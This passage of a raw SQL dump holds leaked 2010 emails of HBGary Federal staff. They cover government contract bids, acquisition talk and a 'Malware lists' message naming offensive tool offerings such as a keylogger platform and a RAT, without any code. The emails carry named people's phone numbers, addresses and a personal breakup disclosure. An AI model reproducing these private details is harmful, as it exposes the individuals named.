Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1663,'aaron_hbgary_com/1663.html'),(9766,'2010-08-05','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297007672.M100692P14101Q4621.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: FW: Invitation: TSA ITSSS Opportunity @ Thu Aug 5 3:30pm - 4:30pm 	(jfanguy@digitalmanagement.com)','\r\n',16641,'aaron_hbgary_com/16641.html'),(9767,'2010-08-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007672.M355937P14101Q4622.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: FBI ESOC','Begin forwarded message:From: &quot;Lemke, Michelle R.&quot; &lt;michelle.lemke@gd-ais.com&gt;\r\nDate: August 5, 2010 6:14:55 AM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: RE: FBI ESOC\r\n\r\n\r\n\r\n\r\nHow reliable was the source? \r\n\r\n \r\n\r\nI’ve now heard a couple different rumors…..(different winner)\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, August 04, 2010 6:50 PM\r\nTo: Lemke, Michelle R.\r\nSubject: Re: FBI ESOC\r\n\r\n\r\n\r\n \r\n\r\nI heard a rumor today that Mantech won ESOC...\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n:(\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn Wed, Jul 28, 2010 at 9:36 AM, Lemke, Michelle R. &lt;michelle.lemke@gd-ais.com&gt;\r\nwrote:\r\n\r\nNothing but funny you ask - it just popped into my mind too!\r\nthey&#39;re supposed to award between  1-31 July. I&#39;ll ask contracts...\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\nSent: Wednesday, July 28, 2010 11:35 AM\r\nTo: Lemke, Michelle R.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: FBI ESOC\r\n\r\nHi Michelle, any rumors?\r\n\r\nOn Tue, Jul 13, 2010 at 10:16 AM, Lemke, Michelle R.\r\n&lt;michelle.lemke@gd-ais.com&gt;\r\nwrote:\r\n&gt; Hi Ted,\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;  Nothing yet. We&#39;ll keep you posted!\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Tuesday, July 13, 2010 12:10 PM\r\n&gt; To: Lemke, Michelle R.\r\n&gt; Cc: Barr Aaron\r\n&gt; Subject: Re: FBI ESOC\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Hi Michelle,\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Have you heard anything on ESOC?  Any rumors?\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Hope all is well,\r\n&gt;\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; On Mon, Jun 28, 2010 at 10:49 AM, Lemke, Michelle R.\r\n&gt; &lt;michelle.lemke@gd-ais.com&gt;\r\nwrote:\r\n&gt;\r\n&gt; It went well - we&#39;re waiting for good news...not sure when we&#39;ll here.\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Monday, June 28, 2010 12:49 PM\r\n&gt; To: Lemke, Michelle R.\r\n&gt; Subject: FBI ESOC\r\n&gt;\r\n&gt; Hi Michelle,\r\n&gt;\r\n&gt; I was just wondering how the orals went.  Do you know when the\r\n&gt; customer intends to release an award announcement?\r\n&gt;\r\n&gt; Thanks,\r\n&gt; Ted\r\n&gt;\r\n&gt; --\r\n&gt; Ted H. Vera\r\n&gt; President | COO\r\n&gt; HBGary Federal\r\n&gt; 719-237-8623\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Ted H. Vera\r\n&gt; President | COO\r\n&gt; HBGary Federal\r\n&gt; 719-237-8623\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |\r\n ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10087,'aaron_hbgary_com/10087.html'),(9768,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007679.M921853P14101Q4623.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Please call me when you have a second.','\r\n\r\n\r\nOn Aug 5, 2010, at 9:33 AM, Rich Cummings wrote:\r\n\r\n>  \r\n>  \r\n> From: Anglin, Matthew [mailto:Matthew.Anglin@QinetiQ-NA.com] \r\n> Sent: Thursday, August 05, 2010 9:31 AM\r\n> To: rich@hbgary.com\r\n> Subject: Re: Please call me when you have a second.\r\n>  \r\n> Will do. Maybe within the hour or sooner. No batteries, charging currently but I am on the road. \r\n> This email was sent by blackberry. Please excuse any errors. \r\n> \r\n> Matt Anglin \r\n> Information Security Principal \r\n> Office of the CSO \r\n> QinetiQ North America \r\n> 7918 Jones Branch Drive \r\n> McLean, VA 22102 \r\n> 703-967-2862 cell\r\n> \r\n> From: Rich Cummings  \r\n> To: Anglin, Matthew \r\n> Sent: Thu Aug 05 09:26:10 2010\r\n> Subject: Please call me when you have a second.\r\n> I have an idea to bounce of you.\r\n>  \r\n> Thanks,\r\n> Rich\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6064,'aaron_hbgary_com/6064.html'),(9769,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007684.M251580P14101Q4625.eml','\"Ted Vera\" <ted@hbgary.com>','Re: FBI ESOC','Crap I should have told you not to say anything. &nbsp;When that slipped Lynda was anxious about it getting out....don\'t say anything further.On Aug 5, 2010, at 10:34 AM, Ted Vera wrote:Begin forwarded message:From: \"Lemke, Michelle R.\" &lt;michelle.lemke@gd-ais.com&gt;\r\nDate: August 5, 2010 6:14:55 AM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: RE: FBI ESOC\r\n\r\n\r\nHow reliable was the source? &nbsp;I’ve now heard a couple different rumors…..(different winner)&nbsp;\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, August 04, 2010 6:50 PM\r\nTo: Lemke, Michelle R.\r\nSubject: Re: FBI ESOC\r\n\r\n&nbsp;I heard a rumor today that Mantech won ESOC...\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n:(\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOn Wed, Jul 28, 2010 at 9:36 AM, Lemke, Michelle R. &lt;michelle.lemke@gd-ais.com&gt;\r\nwrote:Nothing but funny you ask - it just popped into my mind too!\r\nthey\'re supposed to award between &nbsp;1-31 July. I\'ll ask contracts...\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\nSent: Wednesday, July 28, 2010 11:35 AM\r\nTo: Lemke, Michelle R.\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: FBI ESOC\r\n\r\nHi Michelle, any rumors?\r\n\r\nOn Tue, Jul 13, 2010 at 10:16 AM, Lemke, Michelle R.\r\n&lt;michelle.lemke@gd-ais.com&gt;\r\nwrote:\r\n&gt; Hi Ted,\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &nbsp;Nothing yet. We\'ll keep you posted!\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Tuesday, July 13, 2010 12:10 PM\r\n&gt; To: Lemke, Michelle R.\r\n&gt; Cc: Barr Aaron\r\n&gt; Subject: Re: FBI ESOC\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Hi Michelle,\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Have you heard anything on ESOC? &nbsp;Any rumors?\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Hope all is well,\r\n&gt;\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; On Mon, Jun 28, 2010 at 10:49 AM, Lemke, Michelle R.\r\n&gt; &lt;michelle.lemke@gd-ais.com&gt;\r\nwrote:\r\n&gt;\r\n&gt; It went well - we\'re waiting for good news...not sure when we\'ll here.\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Monday, June 28, 2010 12:49 PM\r\n&gt; To: Lemke, Michelle R.\r\n&gt; Subject: FBI ESOC\r\n&gt;\r\n&gt; Hi Michelle,\r\n&gt;\r\n&gt; I was just wondering how the orals went. &nbsp;Do you know when the\r\n&gt; customer intends to release an award announcement?\r\n&gt;\r\n&gt; Thanks,\r\n&gt; Ted\r\n&gt;\r\n&gt; --\r\n&gt; Ted H. Vera\r\n&gt; President | COO\r\n&gt; HBGary Federal\r\n&gt; 719-237-8623\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Ted H. Vera\r\n&gt; President | COO\r\n&gt; HBGary Federal\r\n&gt; 719-237-8623\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9964,'aaron_hbgary_com/9964.html'),(9770,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007684.M450680P14101Q4626.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Malware lists','You still wanted this right?  How is the UNO stuff coming.  I have a big TSA proposal I am working this month that is going to suck up most of my time.\r\n\r\n12Monkeys\r\nFlash\r\nHBGary RK Keylogger Platform\r\nSolaris 10\r\nVMWare ESX\r\nWin2K3 RPC\r\nWin2K3 Terminal Services RAT\r\nWindows 2000\r\n\r\nWhat else can we work on?  I am meeting with InQtel on Monday to talk about Threat Intelligence and Social media.  Working with Mantech on a bunch of stuff (I like those guys) I think it would be good for both of you guys to work more together.  My thoughts.\r\n\r\nHBGary is on the hunt to be acquired.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6547,'aaron_hbgary_com/6547.html'),(9771,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007684.M48692P14101Q4624.eml','\"Ted Vera\" <ted@hbgary.com>','Re: FBI ESOC','Don\'t answer that.On Aug 5, 2010, at 10:34 AM, Ted Vera wrote:Begin forwarded message:From: \"Lemke, Michelle R.\" &lt;michelle.lemke@gd-ais.com&gt;\r\nDate: August 5, 2010 6:14:55 AM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: RE: FBI ESOC\r\n\r\n\r\nHow reliable was the source? &nbsp;I’ve now heard a couple different rumors…..(different winner)&nbsp;\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, August 04, 2010 6:50 PM\r\nTo: Lemke, Michelle R.\r\nSubject: Re: FBI ESOC\r\n\r\n&nbsp;I heard a rumor today that Mantech won ESOC...\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n:(\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOn Wed, Jul 28, 2010 at 9:36 AM, Lemke, Michelle R. &lt;michelle.lemke@gd-ais.com&gt;\r\nwrote:Nothing but funny you ask - it just popped into my mind too!\r\nthey\'re supposed to award between &nbsp;1-31 July. I\'ll ask contracts...\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\nSent: Wednesday, July 28, 2010 11:35 AM\r\nTo: Lemke, Michelle R.\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: FBI ESOC\r\n\r\nHi Michelle, any rumors?\r\n\r\nOn Tue, Jul 13, 2010 at 10:16 AM, Lemke, Michelle R.\r\n&lt;michelle.lemke@gd-ais.com&gt;\r\nwrote:\r\n&gt; Hi Ted,\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &nbsp;Nothing yet. We\'ll keep you posted!\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Tuesday, July 13, 2010 12:10 PM\r\n&gt; To: Lemke, Michelle R.\r\n&gt; Cc: Barr Aaron\r\n&gt; Subject: Re: FBI ESOC\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Hi Michelle,\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Have you heard anything on ESOC? &nbsp;Any rumors?\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Hope all is well,\r\n&gt;\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; On Mon, Jun 28, 2010 at 10:49 AM, Lemke, Michelle R.\r\n&gt; &lt;michelle.lemke@gd-ais.com&gt;\r\nwrote:\r\n&gt;\r\n&gt; It went well - we\'re waiting for good news...not sure when we\'ll here.\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Monday, June 28, 2010 12:49 PM\r\n&gt; To: Lemke, Michelle R.\r\n&gt; Subject: FBI ESOC\r\n&gt;\r\n&gt; Hi Michelle,\r\n&gt;\r\n&gt; I was just wondering how the orals went. &nbsp;Do you know when the\r\n&gt; customer intends to release an award announcement?\r\n&gt;\r\n&gt; Thanks,\r\n&gt; Ted\r\n&gt;\r\n&gt; --\r\n&gt; Ted H. Vera\r\n&gt; President | COO\r\n&gt; HBGary Federal\r\n&gt; 719-237-8623\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Ted H. Vera\r\n&gt; President | COO\r\n&gt; HBGary Federal\r\n&gt; 719-237-8623\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8119,'aaron_hbgary_com/8119.html'),(9772,'2010-08-05','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297007684.M668301P14101Q4627.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Malware lists','Hey,\r\nSorry.  I owe you an email from last week still.  My fiancée and I split on Saturday night so I took two days off to put my house together for the baby.  Got most of the house put back together after not being there for 6 months and now have a baby room.  \r\n\r\nYes on the malware list.  We bid on 3 of them.  Looks like we won one(I worked on it :)) and the other two, it appears that we are top two pending answers to questions.  So, pretty good, I think.   \r\n\r\nCan you say what you are doing with TSA?\r\nAlso, anything up with COIN?\r\n\r\nWe have a PIEA slowly getting to ManTech.  Trying to team with Bryson Bort on the next UNO RFP.\r\n\r\nAre you looking at InQTel for funding if HBGary is sold and you spin-off?  Does NGIS know?  Should I get to someone?\r\nHow quickly do you think Greg wants to sell?\r\n\r\nOther stuff:\r\nTMC to run against CMU malware\r\nGreg\'s new concept - we take jointly to UNO.\r\nThe memory object from responder\r\nIdeas for HBSS\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, August 05, 2010 10:54 AM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Malware lists\r\n\r\nYou still wanted this right?  How is the UNO stuff coming.  I have a big TSA proposal I am working this month that is going to suck up most of my time.\r\n\r\n12Monkeys\r\nFlash\r\nHBGary RK Keylogger Platform\r\nSolaris 10\r\nVMWare ESX\r\nWin2K3 RPC\r\nWin2K3 Terminal Services RAT\r\nWindows 2000\r\n\r\nWhat else can we work on?  I am meeting with InQtel on Monday to talk about Threat Intelligence and Social media.  Working with Mantech on a bunch of stuff (I like those guys) I think it would be good for both of you guys to work more together.  My thoughts.\r\n\r\nHBGary is on the hunt to be acquired.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4407,'aaron_hbgary_com/4407.html'),(9773,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007684.M878384P14101Q4628.eml','\"Ted Vera\" <ted@hbgary.com>','Might help in your pentesting which looks like its still on.','RT @TeamShatter: Today’s TeamSHATTER&nbsp;#DatabaseVulnerability&nbsp;#SQL&nbsp;Injection in#Oracle&nbsp;with “.ALTER_AUTOLOG_CHANGE_SOURCE” function http&nbsp;...\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8353,'aaron_hbgary_com/8353.html'),(9774,'2010-08-05','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297007685.M178678P14101Q4629.eml','aaron@hbgary.com','QDR Independent Panel: American Defense Needs an Overhaul','\r\n\r\n\r\n\r\nView in Browser\r\n \r\n\r\nSign Up&nbsp;| Forward | Visit Our Blog | Jobs\r\n | About Us GovconWire | ExecutiveGov | The New New\r\n Internet | GovCon Executive&nbsp; | GovConExec\r\n Magazine\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBy Jim\r\n GarrettsonAugust 5,\r\n 2010QDR Independent Panel: American Defense&nbsp;Needs an\r\n OverhaulThe alternative Quadrennial Defense Review independent panel delivered\r\n its findings to Congress last week, and it had some different recommendations for\r\n Congress than the version released late last year. Click here to read more\r\nWikiLeaks Reveals Contractors Caught in Afghan\r\n CrossfiresLeaked Defense Department files from the\r\n controversial website WikiLeaks.org appear to confirm that Pakistan\'s ISI spy\r\n agency attempted to poison at least one contractor using alcoholic\r\n beverages.&nbsp; The incident happened in June 2007 but the bizarre story was\r\n recently lent credence by a leaked intelligence warning issued in February 2007\r\n that ISI tried to poison American personnel. Click here to read\r\n more\r\nCACI and Naval Institute Announce Release of Supply Chain Management\r\n ReportCACI\r\n International Inc (NYSE: CACI) and the U. S. Naval Institute (USNI) announced the\r\n release of a new report, titled Cyber Threats to National Security: Countering\r\n Challenges to the Global Supply Chain. The report contains the recommendations of\r\n a recent symposium in the new Asymmetric Threats series on cybersecurity. Click\r\n here to read more \r\nDell\'s Richard Pineda Named Chief Operations\r\n LeaderDell\'s\r\n Richard Pineda has been named Chief Operations Leader (COL) of the firm\'s Dell\r\n Services Federal Government Division. Click here to read\r\n more\r\nGovernment Contracting\'s Second QuarterLast week, many of the publicly-traded integrators operating\r\n across the Beltway held their second-quarter earnings calls.&nbsp; The news was\r\n mostly good, especially from Northrop Grumman (NYSE:NOC), whose earnings were up\r\n 25% over second quarter last year thanks to tax benefits and cost savings\r\n associated with consolidating their Gulf Coast shipbuilding operations. Click here to read\r\n more\r\n&nbsp;The\r\n GovCon Ripple Effect In the government\r\n contracting community, one executive move can have a chain-reaction effect. While\r\n every year sees executive moves throughout the govcon community, this past year\r\n has demonstrated just how each move influences other\r\n executives.Click Here to Read\r\n More\r\n\r\n\r\n\r\nExecutive Spotlight: Tom Anderson of\r\n WyleExecutive Spotlight: Mike Bradshaw Comments\r\n on Google\'s FISMA Certification&nbsp;&nbsp;Hayden:&nbsp;Cyber War is Fraught with\r\n RisksKundra Announces Shape Up for Slacking\r\n Federal IT Projects\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp; \r\nRaytheon, SAIC\r\n Pick Up DoD Contracts\r\nBoeing, BAE Ink\r\n Navy Deals\r\nGeneral\r\n Dynamics Picks Up Marine Vehicles Order\r\nBAE, CACI Score\r\n Navy Deals, Raytheon Picks Up Pair\r\nLockheed\r\n Martin, Raytheon Notch DoD Wins, General Dynamics Turns Two\r\nBoeing\'s Narus\r\n Acquisition a Done Deal\r\nHarris\r\n Acquisition of CapRock a Done Deal\r\nHarris Wins\r\n NASA Deal to Support Human Space Flight\r\nDaon Picked to\r\n Contribute to World\'s Largest ID Program, Tom Grissen\r\n Comments\r\nLockheed Scores\r\n DHS Deal for Work on CEMSA ProjectClick Here for More\r\n GovConwireUnstoppable Cyber Army Would Only Take 2\r\n Years \r\nUAE and Saudi\r\n Arabia to Ban Some Blackberry Functions\r\nCompanies Lose\r\n Average of $3.8 Million to Cyber Crime\r\nFBI Warns of\r\n Online Scams, Predators, Social-Networking Ploys\r\n&nbsp;FBI Director:\r\n Cyber Threat a Top PriorityClick Here for More\r\n from The New New\r\n Internet\r\n \r\n\r\nHarris to Beef Up Cyber Business in\r\n Virginia\r\nFederal CIO\r\n Vivek Kundra Issues Memo of IT\r\n Review\r\nSAIC Wins\r\n $80M-Contract to Support\r\n NASA\r\nTASC Voices\r\n Concerns over OCI Proposed\r\n Changes\r\n\r\nClick Here for More\r\n from GovCon Executive\r\n \r\nGen. Petreaus Releases New Counterinsurgency\r\n Guidance for Afghanistan \r\nPresident\r\n Barack Obama Signs $59 Billion Defense Supplemental Bill\r\nFBI to\r\n Aid Pentagon in \'Wikigate\'\r\nFederal\r\n Agencies Report Transparency Progress\r\nCommerce\r\n Secretary Locke Highlights Cybersecurity Efforts at SymposiumClick Here for More\r\n from ExecutiveGov\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\nSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpace\r\n\r\n\r\n\r\n\r\n\r\nAEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From mapping and CAD, to\r\n imagery and globes, all can be purchased at a press of a button for all your\r\n government projects. The portal features special pricing around Autodesk\'s\r\n Master Government Reseller software solutions including AutoCAD, Map 3D, Civil 3D\r\n plus many more. Google Earth and GeoEye Imagery solutions are available\r\n too.Prefer to speak to a representative directly? DLT has a team of\r\n experienced representatives to help. With over 19 years of working closely with\r\n federal, state and local governments, we can help you make the best purchasing\r\n decisions.&nbsp;For Autodesk products, call 888.447.2223 or send a\r\n message to ag@dlt.com&nbsp;For\r\n Geospatial products, call 877.385.3581 or send a message to gds@dlt.com.\r\n\r\n\r\n\r\n \r\n\r\nExecutive Spotlight: Tom Anderson of\r\n WyleTom Anderson leads Wyle\'s Information Systems\r\n Group.&nbsp; He spoke with ExecutiveBiz about cyber, OCI and his firm\'s place in\r\n the business. Click here to read\r\n moreExecutive Spotlight: Mike Bradshaw\r\n Comments on Google\'s FISMA\r\n CertificationMike Bradshaw, director of\r\n Google\'s federal services, is excited about the Federal Information Security\r\n Management Act (FISMA) certification for the company\'s \"Google Apps for\r\n Government\" cloud computing services, which happened earlier this\r\n week.&nbsp;Click here to read\r\n more\r\n Hayden:&nbsp;Cyber War is Fraught\r\n with RisksWars\r\n targeting computer networks has a number of risks that don\'t exist in a more\r\n conventional warfare environment, Gen. Michael Hayden (ret.) told security\r\n professionals at the Black Hat conference this week. Click here to read\r\n moreKundra Announces Shape Up for\r\n Slacking Federal IT ProjectsAs part of the administration\'s plan to\r\n review and overhaul many federal information technology programs, the Office of\r\n Management and Budget Federal Chief Information Officer Vivek\r\n Kundra issued a memorandum yesterday outlining the upcoming reform of\r\n government IT projects.&nbsp;Click here to read\r\n more \r\n\r\nA Letter from the EditorThrough our weekly emagazine and daily blog, ExecutiveBiz offers our readership an insider\'s\r\n view of news and trends shaping small, medium, and large companies within\r\n industries such as defense, technology, and health care.&nbsp; In addition to our\r\n daily blog, we\'ve launched four new media properties, GovConWire, GovConExecutive, ExecutiveGov, and TheNewNewInternet. Each week, we deliver in-depth profiles of\r\n industry leaders, candid Q&As, plus the latest news and trends, and value-add\r\n information to help you do your job better.&nbsp; You\'re a big part of the\r\n equation both online and off &#8212; which is why we want to hear from you. Have a\r\n story tip? Or an idea for a speaking event? Feel free to contact me direct. You\r\n can also follow us on Twitter, Facebook, and LinkedIn.\r\n\r\nJ.D.\r\n KathuriaEditor-in-chief ExecutiveBizo: 703-226-7010&nbsp;\r\n &nbsp;jd@executivebiz.com&nbsp;&nbsp; \r\n\r\n\r\n\r\n\r\nExecutiveBiz, 8230 Old\r\n Courthouse RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',6210,'aaron_hbgary_com/6210.html'),(9775,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007685.M392759P14101Q4630.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: EXTERNAL:Malware lists','Man Brian.  I am sorry to hear that.\r\n\r\nTSA ITSSS (small business set aside).  RFP hit and proposal due in 30days.  Full services security contract.  I was brought on by DigitalManagement, which is where Bill Luti went.  I think we have a very good team and will have a good story.  It caught everyone off guard as RFP dropped 30 days early but doubled in size to $190M for 5 years.  If we win its a good chunk of money for us and doing SOC, Forensics, IR, and Threat Intel.\r\n\r\nNot sure on COIN.  Going to go see John and Marybeth on Monday.\r\n\r\nI don\'t think NGIS knows.  You can tell them if you want.  Its getting serious and already 3 companies in discussions so they would have to act fast, good luck with that.  I am talking with InQtel independent of this.\r\n\r\nLet me know if you need anything on UNO.\r\n\r\nWorking on other stuff.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 5, 2010, at 11:07 AM, Masterson, Brian M (XETRON) wrote:\r\n\r\n> Hey,\r\n> Sorry.  I owe you an email from last week still.  My fiancée and I split on Saturday night so I took two days off to put my house together for the baby.  Got most of the house put back together after not being there for 6 months and now have a baby room.  \r\n> \r\n> Yes on the malware list.  We bid on 3 of them.  Looks like we won one(I worked on it :)) and the other two, it appears that we are top two pending answers to questions.  So, pretty good, I think.   \r\n> \r\n> Can you say what you are doing with TSA?\r\n> Also, anything up with COIN?\r\n> \r\n> We have a PIEA slowly getting to ManTech.  Trying to team with Bryson Bort on the next UNO RFP.\r\n> \r\n> Are you looking at InQTel for funding if HBGary is sold and you spin-off?  Does NGIS know?  Should I get to someone?\r\n> How quickly do you think Greg wants to sell?\r\n> \r\n> Other stuff:\r\n> TMC to run against CMU malware\r\n> Greg\'s new concept - we take jointly to UNO.\r\n> The memory object from responder\r\n> Ideas for HBSS\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, Cyber Solutions\r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, August 05, 2010 10:54 AM\r\n> To: Masterson, Brian M (XETRON)\r\n> Subject: EXTERNAL:Malware lists\r\n> \r\n> You still wanted this right?  How is the UNO stuff coming.  I have a big TSA proposal I am working this month that is going to suck up most of my time.\r\n> \r\n> 12Monkeys\r\n> Flash\r\n> HBGary RK Keylogger Platform\r\n> Solaris 10\r\n> VMWare ESX\r\n> Win2K3 RPC\r\n> Win2K3 Terminal Services RAT\r\n> Windows 2000\r\n> \r\n> What else can we work on?  I am meeting with InQtel on Monday to talk about Threat Intelligence and Social media.  Working with Mantech on a bunch of stuff (I like those guys) I think it would be good for both of you guys to work more together.  My thoughts.\r\n> \r\n> HBGary is on the hunt to be acquired.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3280,'aaron_hbgary_com/3280.html'),(9776,'2010-08-05','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297007687.M722281P14101Q4631.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Please call me when you have a second.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings\r\n[mailto:rich@hbgary.com] \r\nSent: Thursday, August 05, 2010 11:25 AM\r\nTo: &#39;Anglin, Matthew&#39;\r\nCc: Mike Spohn\r\nSubject: RE: Please call me when you have a second.\r\n\r\n\r\n\r\n\r\n\r\n 